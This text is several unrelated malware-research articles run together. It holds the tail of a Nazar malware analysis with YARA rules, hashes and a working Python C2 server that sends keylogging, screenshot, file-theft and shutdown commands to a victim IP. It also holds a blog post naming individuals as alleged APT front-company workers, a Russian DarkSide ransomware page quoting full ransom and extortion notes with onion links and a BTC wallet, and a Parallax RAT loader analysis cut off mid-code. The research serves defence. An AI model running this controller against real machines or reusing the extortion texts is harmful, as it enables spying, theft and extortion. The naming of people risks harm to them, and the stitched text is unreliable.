DLL, even though it is still dropped to the machine. | | 200 | List all the files and folders in the system and saves it to `Files.txt`. The files and folder are separated with `;File;` or `;Folder;`. This functionality exists as-is in `Filesystem.dll` but the newer variant of `svchost.exe` does not use the DLL, even though it is still dropped to the machine. | | 201 | Sends file content to the server. | | 209 | Remove a file from the machine. | | 499 | List program by enumerating the keys found in the following registry path: `Software\Microsoft\Windows\CurrentVersion\Uninstall`. The program names are then saved to a file called `Programs.txt` and sent to the server. | | 599 | List all the devices on the machine and save it to a file named ‘Devices.txt’ which is then sent to the server. The devices are separated with either ‘;Root;’ or ‘;Child;’. | | 999 | Sends `101;0000` back to the server in port `4000`. | | 555 | Sends Computer information: `100;Computer Name; OS Name` back to the server in port `4000`. | | 315 | Disable voice recording. | | 312 | Disable keylogging. | | 313 | Disable screen capturing. | | 666 | Pretty much NOP. Will set a flag that is also set by `119` and `189` and will be unset when sending a file. However, it is never checked. | | 211 | Registers `Godown.dll` using `regsvr32`. This command was included in `svchost.exe` versions from 2010 but was then removed, and the module registration moved to `Distribute.exe`. | | 212 | Registers `ViewScreen.dll` using `regsvr32`. This command was included in `svchost.exe` versions from 2010 but was then removed, and the module registration moved to `Distribute.exe`. | | 213 | Registers `Filesystem.dll` using `regsvr32`. This command was included in `svchost.exe` versions from 2010 but was then removed, and the module registration moved to `Distribute.exe`. | ### Godown.dll `Godown.dll` is the DLL which is in the spotlight of SIG37, and the one that started this manhunt after the unknown malware. Before it was caught by law-abiding security analysts, one could imagine `Godown.dll` to be the mastermind behind this whole operation, the component to control them all, some hidden gem, or an unseen rose. In reality, `Godown.dll` is a tiny DLL with one and only goal – to shut down the computer. Believe us, we tried hard to find any hidden or mysterious functionality inside the binary, but nothing was there, except a shutdown command. The reasons to take 5 lines of C code and place them in a DLL, put it in `Data.bin`, drop it to the disk, register it as a COM DLL using `regsvr32` and then call it indirectly using GUID – are beyond our understanding. But well, it was good enough of a lead to revealing Nazar, and for that, we should be thankful. ### Filesystem.dll Out of all the modules used in this attack, `Filesystem.dll` might be the only one whose code was actually written by the attackers themselves. The purpose of this module is to enumerate drives, folders and files on the infected system and write the final results to two text files: `Drives.txt` and `Files.txt`. We were able to get our hands on two versions of this module that were created a year apart, both of which included PDB paths that mentioned a folder with the Persian name Khzer: ``` C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb ``` Upon closer inspection, there are some differences between the two paths: One starts with the `C:\\` partition while the other starts with `D:\\`, one uses `Khzer` (uppercase) while the other uses `khzer` (lowercase), and so on. This might indicate that the two versions of the module were not compiled in the same environment, and is further strengthened by some of the included headers’ paths, which show that Visual Studio was installed in two different locations. But these are not the only differences between the two versions: while the `Filesystem.dll` module was dropped by all the known variants of `gpUpdates.exe`, it was not always used in the same manner. For example, versions of `svchost.exe` dating back to 2010 have three commands that have since been omitted: “211”, “212”, and “213”. Those commands allow `svchost.exe` to register the dropped DLL modules using `regsvr32`, a functionality that was later migrated to `Distribute.exe`. **An omitted command presented in svchost.exe, as can be seen in Cutter** Then, when a command is received by the C2 to collect the files and drives on the system, the `Filesystem.dll` module is called after it was registered: **Registering Filesystem.dll, as can be seen in Cutter** On the other hand, a more recent version of `svchost.exe` that was created in 2012 replicates the file and drive lookup functionalities found in `Filesystem.dll` when receiving the “199” and “200” commands from the C2, and performs the search itself. Therefore, even though it is still dropped in this case, it appears that the `Filesystem.dll` module is not used in the newer versions of Nazar: **The same functionality presented in both files as can be seen in the disassembly from Cutter** ### hodll.dll The `hodll.dll` module is responsible for recording the user’s keystrokes. It is done, as most keyloggers do, by setting a Windows hook for keyboard inputs. While there are many implementations of keyloggers available, we believe that this implementation is based on one or more open-source projects. Specifically, we believe that the code was taken from common open-source libraries called “KeyDLL3” (by Anoop Thomas) and “KeyBoard Hooks” (by H. Joseph) or by a fork of these projects, as many are available. In fact, the samples of `hodll.dll` we put our hands on, looked like they were built from different layers of open source projects. In a way, it looked like someone copied code from the internet, and then deleted it partially, and took other code, and deleted it as well, and so on. The final result contained evolutionary pieces from multiple layers of code. ### ViewScreen.dll This DLL is based on a known open-source project named “BMGLib” and it is used to take screenshots of the victim’s computer. No major changes, if any, were added to the original source, and this is yet another example of how the Nazar malware uses an entire library just for a small task. ## Conclusion In this article, we tried to gather all the information we learned about Nazar since its recent exposure. We dived deep into each and every one of the components and tried to solve as many mysteries as possible. The leaked information by the Shadow Brokers taught us that the NSA knew about Nazar for many years, and thanks to other researchers, the community was able to strikethrough another unknown malware family from the list of signatures in “TeDi”. Many of the signatures in “TeDi” described advanced and novel malware families, but this does not appear to be the case with Nazar. As we have shown in the article, the quality of the code, as well as the heavy usage of open source libraries, does not match the profile of a shrewd threat actor. And although we tried to cover everything, there are still many unanswered questions surrounding those discoveries: What happened to the Nazar group, did they evolve into other groups that are nowadays known under different names? Are they still active? Are there more samples out there? With those questions and others on our minds, we cannot help but leave this open-ended. ## Appendix ### Appendix A: Yara Rules In his blog post, Juan published Yara rules to ease detection. The rules are well written and cover the different components. We want to share some rules we created during our analysis, to add to the existing rules. ```plaintext rule apt_nazar_svchost_commands { meta: description = "Detect Nazar's svchost based on supported commands" author = "Itay Cohen" date = "2020-04-26" reference = "<https://www.epicturla.com/blog/the-lost-nazar>" hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6" hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728" strings: $str1 = { 33 31 34 00 36 36 36 00 33 31 33 00 } $str2 = { 33 31 32 00 33 31 35 00 35 35 35 00 } $str3 = { 39 39 39 00 35 39 39 00 34 39 39 00 } $str4 = { 32 30 39 00 32 30 31 00 32 30 30 00 } $str5 = { 31 39 39 00 31 31 39 00 31 38 39 00 31 33 39 00 33 31 31 00 } condition: 4 of them } ``` ```plaintext rule apt_nazar_component_guids { meta: description = "Detect Nazar Components by COM Objects' GUID" author = "Itay Cohen" date = "2020-04-27" reference = "<https://www.epicturla.com/blog/the-lost-nazar>" hash = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6" hash = "1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390" hash = "2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e" hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6" hash = "460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8" hash = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca" hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6" hash = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec" hash = "967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b" hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728" hash = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65" hash = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61" hash = "eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3" strings: $guid1_godown = { 98 B3 E5 F6 DF E3 6B 49 A2 AD C2 0F EA 30 DB FE } // Godown.dll IID $guid2_godown = { 31 4B CB DB B8 21 0F 4A BC 69 0C 3C E3 B6 6D 00 } // Godown.dll CLSID $guid3_godown = { AF 94 4E B6 6B D5 B4 48 B1 78 AF 07 23 E7 2A B5 } // probably Godown $guid4_filesystem = { 79 27 AB 37 34 F2 9D 4D B3 FB 59 A3 FA CB 8D 60 } // Filesystem.dll CLSID $guid6_filesystem = { 2D A1 2B 77 62 8A D3 4D B3 E8 92 DA 70 2E 6F 3D } // Filesystem.dll TypeLib IID $guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 } // Filesystem.dll condition: any of them } ``` ### Appendix B: Indication of Compromises | File | Sha-256 | |------------------------|---------------------------------------------------------------------------------------------| | gpUpdates.exe | 4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca | | | d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65 | | | eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3 | | Data.bin | d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61 | | | 75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6 | | | 2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e | | Distribute.exe | 839c3e6ba65e5d07a2e0c4dd4a2c0d7ae95a266431dd3f8971b8a37d17b1ddf6 | | | 6b8ea9a156d495ec089710710ce3f4b1e19251c1d0e5b2c21bbeeab05e7b331f | | Filesystem.dll | 1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390 | | | 460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8 | | | 1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6 | | Hodll.dll | 0c09fedc5c74f90883cd3256a181d03e4376d13676c1fe266dbd04778a929198 | | Godown.dll | 967ac245e8429e3b725463a5c4c42fbd98385ee6f25254e48b9492df21f2d0b | | | 8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec | | svchost.exe | 2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6 | | | be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728 | | ViewScreen.dll | 5a924dec60c623cf73f5b8505e11512ad85e62ac571a840ab0f48d4a04b60de | | (benign) | | | pssdk41.sys | 048208864c793a670159723b38c3ea1474ccc62e06b90833bdf1683b8026e12f | | (benign) | | | lame_enc.dll | c84100d52c09703e32951444bd7ba4e22c5d41193e7420aacbc1f736f4c4e1f | | (benign) | 0091e2101f00751c4020ef8e115cfe12a284c9abacc886f549b40a62574a7510 | ### Appendix C: Python Server ```python from scapy.all import * import struct import socket import hexdump import argparse DST_PORT = 1234 SERVER_PORT = 4000 ID = struct.unpack('>H', struct.pack('<H', 4000))[0] def get_response(sock, should_loop): started = False total_payload = b'' while(should_loop or not started): try: payload, client_address = sock.recvfrom(4096) except ConnectionResetError: payload, client_address = sock.recvfrom(4096) total_payload += payload if (len(payload) >= 4 and payload[:3] == b'---' and payload[4] >= ord('0') and payload[4] <= ord('9')): should_loop = False started = True hexdump.hexdump(total_payload) MENU = """Welcome to NAZAR. Please choose: 999 - Get a ping from the victim. 555 - Get information on the victim's machine. 311 - Start keylogging (312 to disable). 139 - Shutdown victim's machine. 189 - Screenshot (313 to disable). 119 - Record audio from Microphone (315 to disable). 199 - List drives. 200 - List recursively from directory*. 201 - Send a file*. 209 - Remove file*. 599 - List devices. * (append a path, use double-backslashes) quit to Quit, help for this menu. """ def get_message(): while True: curr_message = input('> ').strip() if 'quit' in curr_message: return None if 'help' in curr_message: print(MENU) else: return curr_message def get_sock(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server_address = '0.0.0.0' server = (server_address, SERVER_PORT) sock.bind(server) return sock def main(ip_addr): sock = get_sock() print(MENU) multi_packets = ["200", "201", "119", "189", "311", "199", "599"] single_packets = ["999", "555"] all_commands = single_packets + multi_packets while True: curr_message = get_message() if not curr_message: break sr1( IP(dst=ip_addr, id=ID) / UDP(sport=SERVER_PORT, dport=1234) / Raw(load=curr_message), verbose=0 ) command = curr_message[:3] if command not in all_commands: continue should_loop = command in multi_packets if __name__ == '__main__': parser = argparse.ArgumentParser(description="victim's IP") parser.add_argument('ip') args = parser.parse_args() main(args.ip) ```
# Who else works for this cover company network? In our previous articles, we identified a network of front companies for APT activity in Hainan and showed that Gu Jian, an academic at Hainan University, is listed as a contact person for one of these companies – Hainan Xiandun. Additionally, Gu Jian appeared to manage a network security competition at the university and was reportedly seeking novel ways of cracking passwords, offering large amounts of money to those able to do so. The registered address for Hainan Xiandun is the Hainan University Library. Our analysts and contributors were reassured to know that this blog is not alone in being suspicious of these Hainan front companies. Questions abound online about why these companies have such a thin presence on the Internet or, as below, whether the jobs they are promoting even exist. This Chinese post is titled “Hainan Yili Technology Company: How can you find this company on the Internet, can I trust this job advert?” and asks other users of the site for their views. Fortunately, this blog has been able to identify a number of individuals who have worked at one of these front companies. None of these leads are ground-breaking, but perhaps these individuals will provide other investigators with interesting leads to follow in the future. ## Mr Wu Wu Bingnan (吴炳南) worked as a translator for Hainan Xiandun from 2015-2016. An English speaker who also specialised in project management. Where did he study? Hainan University… ## Ms Guo Guo Kua (郭跨), also known as ‘Sugar’, is a former Vietnamese translator at Hainan Kehua. As we have seen so often for these companies, Sugar doesn’t provide much detail about her role or responsibilities. ## Mr Cai Cai Shiping (蔡世平) is a Project Manager at Hainan Tengyuan. ## Mr Hou Hou Guorong (候国荣) is an Information Security Engineer at Hainan Kehua. ## Mr Lü Lü Bizhen (吕碧桢) is an engineer at Hainan Kehua. In summary, the Hainan front companies that this blog identified have been viewed with suspicion online by Chinese netizens and have a limited digital footprint. Despite the companies repeatedly describing themselves as having 50-100 employees, there is little information online about who they are. We have identified Wu Bingnan, Guo Kua, Hou Guorong, and Lü Bizhen as current or former workers at these companies.
# DarkSide Ransomware DarkSide Hand-Ransomware (шифровальщик-вымогатель, RaaS) Этот крипто-вымогатель шифрует данные бизнес-пользователей и предприятий с помощью Salsa20+RSA-1024, а затем требует выкуп в несколько миллионов долларов в BTC, чтобы вернуть файлы. Оригинальное название: DarkSide. Написан на Python. ## Обнаружения: - DrWeb: Trojan.Encoder.32305, Trojan.Encoder.32386, Trojan.Encoder.33337 - BitDefender: Gen:Variant.Razy.734971 - Avira (no cloud): TR/Crypt.XPACK.Gen - ESET-NOD32: A Variant Of Generik.MMUYADA - Kaspersky: Trojan-Ransom.Win32.Gen.xyl - Malwarebytes: Ransom.DarkSide - Rising: Ransom.Gen!8.DE83 (CLOUD) - Symantec: ML.Attribute.HighConfidence - Tencent: Win32.Trojan.Crypt.Edxi - TrendMicro: TROJ_GEN.R002H09H820, Ransom.Win32.DARKSIDE.THHABBOA © Генеалогия: Sodinokibi / REvil ? => DarkSide > BlackMatter К зашифрованным файлам добавляется расширение: .<random> Началом распространения можно считать появление на форумах кибер-андеграунда в начале августа 2020 г. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру. Записка с требованием выкупа называется: README.<random>.TXT Пример записки от вымогателей: README.97866000.TXT ### Содержание записки о выкупе: ----------- [ Welcome to Dark ] ------------- What happened? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more than 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/*** The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/*** When you open our website, put the following data in the input form: Key: *** [всего 567 знаков] !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!! ### Перевод записки на русский язык: ----------- [Добро пожаловать в Dark] ------------- Что случилось? ---------------------------------------------- Ваши компьютеры и серверы зашифрованы, резервные копии удалены. Мы используем надежные алгоритмы шифрования, поэтому вы не сможете расшифровать свои данные. Но вы можете все восстановить, купив у нас специальную программу - универсальный дешифратор. Эта программа восстановит всю вашу сеть. Следуйте нашим инструкциям ниже и вы восстановите все свои данные. Утечка данных ---------------------------------------------- Во-первых, мы загрузили более 100 ГБ данных. Пример данных: - Данные бухгалтерского учета - Исполнительные данные - Данные о продажах - Данные службы поддержки - Маркетинговые данные - Данные о качестве - И многое другое... Ваша личная страница утечки: http://darksidedxcftmqa.onion/blog/article/id/*** Данные предварительно загружены и будут автоматически опубликованы, если вы не заплатите. После публикации ваши данные будут доступны не менее 6 месяцев на наших серверах tor cdn. Мы готовы: - Чтобы предоставить вам доказательства украденных данных - Чтобы предоставить вам универсальный инструмент для дешифрования всех зашифрованных файлов. - Удалить все украденные данные. Какие гарантии? ---------------------------------------------- Мы дорожим своей репутацией. Если мы не будем выполнять свою работу и обязательства, нам никто не будет платить. Это не в наших интересах. Все наши программы для дешифрования отлично протестированы и расшифруют ваши данные. Мы также окажем поддержку при возникновении проблем. Мы гарантируем бесплатную расшифровку одного файла. Зайдите на сайт и свяжитесь с нами. Как получить доступ на сайт? ---------------------------------------------- Используя браузер TOR: 1) Загрузите и установите браузер TOR с этого сайта: https://torproject.org/ 2) Откройте наш сайт: http://darksidfqzcuhtk2.onion/*** Когда вы открываете наш веб-сайт, введите в форму ввода следующие данные: Ключ: *** [всего 567 знаков] !!! ОПАСНОСТЬ !!! НЕ ИЗМЕНЯЙТЕ и НЕ ПЫТАЙТЕСЬ ВОССТАНОВИТЬ файлы самостоятельно. Мы НЕ сможем их ВОССТАНОВИТЬ. !!! ОПАСНОСТЬ !!! ### Технические детали Распространяется как RaaS на форумах кибер-андеграунда. Использует сеть Tor для сайта и публикации там же украденной информации компаний-жертв. #### Список файловых расширений, подвергающихся шифрованию: Все файлы, кроме тех, что находятся в списках пропускаемых расширений, файлов, папок, процессов. Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр. #### Список пропускаемых расширений: .386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .hta, .icl, .icns, .ico, .ics, .idx, .key, .ldf, .lnk, .lock, .mod, .mpa, .msc, .msi, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .pdb, .prf, .ps1., .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx (50 расширений). #### Список пропускаемых директорий: windows, appdata, application data, boot, google, mozilla, program files, program files (x86), programdata, system volume information, tor browser, windows.old, intel, msocache, perflogs, x64dbg, public, all users, default. #### Список пропускаемых файлов: $recycle.bin, config.msi, $windows.~bt, $windows.~ws. #### Список пропускаемых процессов: vmcompute.exe, vmms.exe, vmwp.exe, svchost.exe, TeamViewer.exe, explorer.exe. ### Файлы, связанные с этим Ransomware: - acer.exe - исполняемый файл - README.<random>.TXT - название файла с требованием выкупа - <random>.exe - случайное название вредоносного файла ### Расположения: \Desktop\ -> \User_folders\ -> \%TEMP%\ -> ### Записи реестра, связанные с этим Ransomware: См. ниже результаты анализов. ### Мьютексы: Мьютекс Global\\3e93e49583d6401ba148cd68d1f84af7 создается, чтобы могла работать только одна копия Ransomware. ### Сетевые подключения и связи: Tor-URL: xxxx://darksidedxcftmqa.onion/ Email: - BTC: См. ниже в обновлениях другие адреса и контакты. ### Результаты анализов: - Triage analysis >> - Hybrid analysis >> - VirusTotal analysis >> - Intezer analysis >> - ANY.RUN analysis >> - VMRay analysis >> - VirusBay samples >> - MalShare samples >> - AlienVault analysis >> - CAPE Sandbox analysis >> - JOE Sandbox analysis >> Степень распространённости: средняя. Подробные сведения собираются регулярно. Присылайте образцы. ### ИСТОРИЯ СЕМЕЙСТВА ### БЛОК ОБНОВЛЕНИЙ Вариант от 11 августа 2020: Расширение: .2b026f49 Записка: README.2b026f49.TXT Результаты анализов: VT + HA ### Содержание записки от вымогателей: ----------- [ Welcome to Dark ] ------------- What happened? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more than 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVL [всего 567 знаков] !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!! ### Сообщение для пострадавшей компании: EBSCO.com - More than 100 GB sensitive data. Automatic leak publication: We downloaded a lot of interesting data from your network. Included: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... if you need proofs, we are ready to provide you with it. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. ### Если вы отказываетесь платить: - Мы опубликуем все ваши данные и будем хранить их на наших TOR CDN в течение как минимум 6 месяцев. - Мы отправим уведомление о вашей утечке средствам массовой информации, вашим партнерам и клиентам. - Мы НИКОГДА не предоставим вам дешифраторы. Мы очень серьезно относимся к своей репутации, поэтому в случае оплаты все гарантии будут выполнены. Если вы не хотите платить, вы добавитесь в список опубликованных компаний в нашем блоге и станете примером для других. ### Обновление от 10 декабря 2020: Сообщение >> Tor-URL: xxxx://darksidfqzcuhtk2.onion ### Обновление от 11 января 2021: Специалисты BitDefender выпустили дешифровщик для файлов, зашифрованных DarkSide Ransomware. ### Обновление от 12 января 2021: Сообщение >> Вымогатели внесли изменения в шифрование и сообщили об этом на форуме. ### Вариант от 15 января 2021: Сообщение >> Расширение (пример): .c06622a1 Записка (пример): README.c06622a1.TXT Штамп даты: 23 декабря 2020. Результат анализов: VT + VMR ### Обнаружения: - DrWeb: Trojan.Encoder.33337 - ESET-NOD32: A Variant Of Win32/Filecoder.DarkSide.A - TrendMicro: Ransom.Win32.DARKSIDE.SMYAAK-B ### Вариант от 24 января 2021: Сообщение >> Расширение: .c06622a1 Tor-URL: darksidedxcftmqa.onion/*** Tor-URL: darksidfqzcuhtk2.onion/*** URL: securebestapp20.com ### Вариант от 3 февраля 2021: Расширение: .0b4dc49f Примеры записок: README.418990b0.TXT README.0b4dc49f.TXT Результаты анализов: VT + AR + IA ### Обнаружения: - DrWeb: Trojan.Encoder.33337 - ALYac: Trojan.Ransom.DarkSide - BitDefender: Gen:Heur.Ransom.RTH.1 - ESET-NOD32: A Variant Of Win32/Filecoder.DarkSide.A - Malwarebytes: Ransom.DarkSide - Symantec: Ransom.Darkside - TrendMicro: Ransom.Win32.DARKSIDE.SMYAAK-B ### Вариант 28 февраля 2021: Сообщение >> Файл: calimalimodumator.exe Результаты анализов: AR + AR + VT + HA ### Вариант 28 февраля 2021: Сообщение >> Расширение: .0b4dc49f Записка: README.0b4dc49f.TXT URL: xxxx://darksidfqzcuhtk2.onion/*** Файл: homie.exe, MicSwitch.exe Результаты анализов: AR + VT + IA ### Обновление от 11 марта 2021: Сообщение >> ### Вариант от 1 мая 2021: Сообщение >> Расширение: .425b93ba Записка: README.425b93ba.TXT Tor-URL: hxxx://dark24zz36xm4y2phwe7yvnkkkkhxionhfrwp67awpb3r3bdcneivoqd.onion/* Результаты анализов: VT + AR ### Обнаружения: - DrWeb: Trojan.Encoder.33763 - BitDefender: Trojan.GenericKD.46189032 - ESET-NOD32: A Variant Of Win32/Filecoder.DarkSide.B - Malwarebytes: Ransom.DarkSide - Microsoft: Ransom:Win32/DarkSide.DA!MTB - TrendMicro: Ransom_DarkSide.R002C0DE121 ### Сообщение от 18 мая 2021: Статья на сайте BleepingComputer >> Вымогатели, использующие DarkSide Ransomware, собрали с пострадавших около 90 миллионов долларов в виде выкупа, выплаченного жертвами за последние девять месяцев на несколько BTC-кошельков. Подсчитано, что разработчики DarkSide Ransomware получили из общей прибыли биткойны на сумму 15,5 млн долларов. Филиалы или партнеры обычно получают львиную долю денег, потому что они делают большую часть работы: взламывают сети жертв, крадут данные и развертывают вредоносное ПО для шифрования файлов. В случае с DarkSide они получали от 75% до 90% прибыли, в зависимости от размера выкупа. ### Сообщение от 18 июня 2021: Элементы вымогательства (email-адреса, BTC-кошелек) будут идентифицироваться на сайте "ID Ransomware" как "Fake DarkSide". ### Статья TrendMicro >> Статья BleepingComputer >> От имени DarkSide с 4 июня 2021 года проводится мошенническая email-компания, нацеленная на email-адреса компаний энергетической и пищевой промышленности. Никаких фактических атак не было прослежено. Целевые страны: Аргентина, Австралия, Канада, США, Великобритания, Индия, Китай, Колумбия, Мексика, Нидерланды, Таиланд. Email: [email protected], [email protected] BTC: bc1qcwrl3yaj8pqevj5hw3363tycx2x6m4nkaaqd5e Сумма выкупа до 100 BTC. ### Образец текста электронного письма: Hi, this is DarkSide. It took us a lot of time to hack your servers and access all your accounting reporting. Also, we got access to many financial documents and other data that can greatly affect your reputation if we publish them. It was difficult, but luck was helped by us - one of your employees is extremely unqualified in network security issues. You could hear about us from the press - recently we held a successful attack on the Colonial Pipeline. For non-disclosure of your confidential information, we require not so much - 100 bitcoins. Think about it, these documents may be interested not only by ordinary people, but also the tax service and other organizations, if they are in open access... We are not going to wait long - you have several days. Our bitcoin wallet - bc1qcwrl3yaj8pqevj5hw3363tycx2x6m4nkaaqd5e Биткойн-кошелек в конце каждого письма одинаков для всех целей. На момент написания этого сообщения на BTC-кошелёк платежи не поступали. Кроме рассылки целевых email-писем те же злоумышленники заполнили контактные формы на сайтах некоторых компаний. Содержание такое же, как и в email-письмах. Один IP-адрес отправителей, 205.185.127.35, оказался выходным узлом сети Tor. В целом, эта кампания выглядит дилетантской по сравнению с известными предыдущими мероприятиями DarkSide. Мы считаем, что большинство компаний не будут платить эту сумму, пока не получат какие-либо реальные доказательства того, что сеть была скомпрометирована и конфиденциальные могут быть опубликованы. Итак, проект DarkSide закрыт, а на его основе был запущен другой вымогательский проект, который называется BlackMatter Ransomware. Исследователи считают его прямым продолжением DarkSide, но так ли на самом деле, никто не знает.
# Let's Learn: Inside Parallax RAT Malware: Process Hollowing Injection & Process Doppelgänging API Mix: Part I **Goal:** Reverse engineer and analyze the loader portion related to the Parallax remote administration tool/Trojan (RAT) low-level injection and image decoder techniques. The original sample discovery belongs to @malwrhunterteam. **Source:** - Parallax signed loader (SHA-256): `829fce14ac8b9ad293076c16a1750502c6b303123c9bd0fb17c1772330577d65` - Parallax injected payload (SHA-256): `20d0be64a0e0c2e96729143d41b334603f5d3af3838a458b0627af390ae33fbc` ## I. Background & Executive Summary The Parallax remote administration tool/Trojan (RAT) emerged in 2019 on the underground community written in MASM programming language. The RAT certainly became notorious for its low static detection oftentimes observed with close to 0 detection as displayed on VirusTotal. The malware also uses signed digital certificates as part of the payload execution. The Parallax developers market the malware as follows: - Developed by a professional team and fully coded in MASM. - Created to be the best in remote administration. - Provides all you need, suitable for professionals and beginners. - Offers 99% reliability when it comes to stability. - Designed for real multithreaded performance, blazing fast speed, and lightweight deployment with very little resource consumption. The RAT malware binary builds a table with function addresses leveraging API process environmental block (PEB) CRC32 hashing algorithm with a parser for "%x.png" and "cmd.exe." The malware authors boast runtime anti-virus bypasses achieved in part by its signed loader coupled with Process Hollowing and Process Doppelgänging injection techniques. The goal of the injection is to impersonate legitimate system executables such as mstcs.exe and cmd.exe to avoid detection by anti-virus engines. One interesting possible anti-analysis code is the dynamic stack code allocation and parsing. Moreover, two additional features stand out: its low-level injection technique and the image decoded from the Imgur image, "Big Brother Is Watching You." The malware writes the layer named as "%x.png" to the local %TEMP% directory, with the name generated via a few rand and srand API calls formatted to hexadecimal string. ## II. Parallax RAT: Loader Portion Flow ### A. Main Flow Overview The crypted signed loader decodes the layer using XOR and key '0x3BC01699' as well as the URL string to pass to the next layer. The layer is injected into the process setup within the loader itself. The main loop is as follows in pseudo-coded C++: ```cpp hModule = GetModuleHandleA(ModuleName); v_alloc_ret = GetProcAddress(hModule, &ProcName); // VirtualAlloc v25 = ((int (__cdecl *)(int, signed int, signed int, int))v_alloc_ret)(v48, 41648, 4096, v28); decoder(v25, (int)&payload_blob, v44); // payload_bin v29[v50 / 4] = v25; v29[v49 / 4] = v33; v29[v47 / 4] = v35; v29[v46 / 4] = v32; v24 = v36 + v25; v23 = (int (__cdecl *)(int **))(v36 + v25); decoder((int)v3, (int)&url_blob, v42); // "https://i.imgur.com/emshETT.png" mstc = aMstsc_exe; // "mstsc.exe" v1 = v3; result = v23(&v1); if (!v91) result = 1; return result; ``` The decoder function is as follows: ```cpp int __cdecl decoder(int alloc_address, int enc_blob, int enc_length) { int result; int i; int iter_cmp; result = 0; iter_cmp = 0; for (i = 0; i < 